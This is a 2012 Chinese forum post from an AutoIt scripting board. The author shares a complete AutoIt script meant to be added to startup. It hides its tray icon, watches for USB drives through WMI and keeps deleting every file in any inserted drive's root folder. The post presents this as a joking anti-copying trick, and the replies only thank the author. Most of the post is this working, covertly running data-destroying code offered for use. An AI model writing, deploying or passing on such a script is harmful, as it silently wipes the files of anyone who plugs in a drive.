AM电脑吧 - Win10精简版系统_Win11精简版_Win7旗舰版

Yes
查看: 5552|回复: 3
收起左侧

[其它] 监控u盘并清空u盘

[复制链接]
ampc8110

签到天数: 3 天

[LV.2]二兆带宽

id fuldho 发表于 2012-08-26 07:52:21
本人最反对别人拷贝我电脑里的东东,哈哈!就写了这个东东——————监控u盘并清空u盘。
加载到启动项

你U盘有重要文件[fly]可不要运行[/fly]它!!!!!!!!。

哈哈!小玩意!

Opt("TrayIconHide", 1)
Dim $USB_Drive
_test()
Func _test()
$objWMIService = ObjGet("winmgmts:\\.\root\cimv2")
$colDiskDrives = $objWMIService.ExecQuery("SELECT * FROM Win32_DiskDrive where InterfaceType='usb'")
For $objDrive In $colDiskDrives
         $strDeviceID = StringReplace($objDrive.DeviceID, "\", "\\")
         $colPartitions = $objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_DiskDrive.DeviceID=""" & $strDeviceID & """} WHERE AssocClass = Win32_DiskDriveToDiskPartition")
     For $objPartition In $colPartitions
              $colLogicalDisks = $objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & $objPartition.DeviceID & """} WHERE AssocClass = Win32_LogicalDiskToPartition")
          For $objLogicalDisk In $colLogicalDisks
          $USB_Drive =  $objLogicalDisk.DeviceID
         Next
    Next
Next
If $USB_Drive <> "" Then
FileDelete($USB_Drive & "\*.*")
     Sleep(5000)
      _test()
Else
     Sleep(30000)
      _test()
EndIf
EndFunc

评分

参与人数 1硬盘 +8 收起 理由
ampc85 水铃 + 8 年老的作品支持!

本文地址: https://www.ampc8.com/thread-8530-1-1.html
上一篇:云笔记开发商Evernote最早2015年IPO
下一篇:全AU3鼠标截图 工具——源码
回复

举报

ampc839210

签到天数: 271 天

[LV.8]八秒开机

id trhy1234567 发表于 2016-10-28 19:52:46
学习了,谢谢分享
回复

举报

ampc88884

签到天数: 1 天

[LV.1]一个记事本

id zhaozhigang 发表于 2013-10-09 09:39:42
学习了。。。
回复

举报

ampc85

签到: Lazy

id 水铃 发表于 2012-08-26 09:00:38
今后有时间一定想年老学习。
回复

举报

您需要登录后才可以回帖 登录 | 验证注册

Powered by AMpc8.Com (晋ICP备13003365号ghs 晋公网安备 14090202000112号 |GMT+8, 2024/3/28 21:13 |
快速回复 返回顶部 返回列表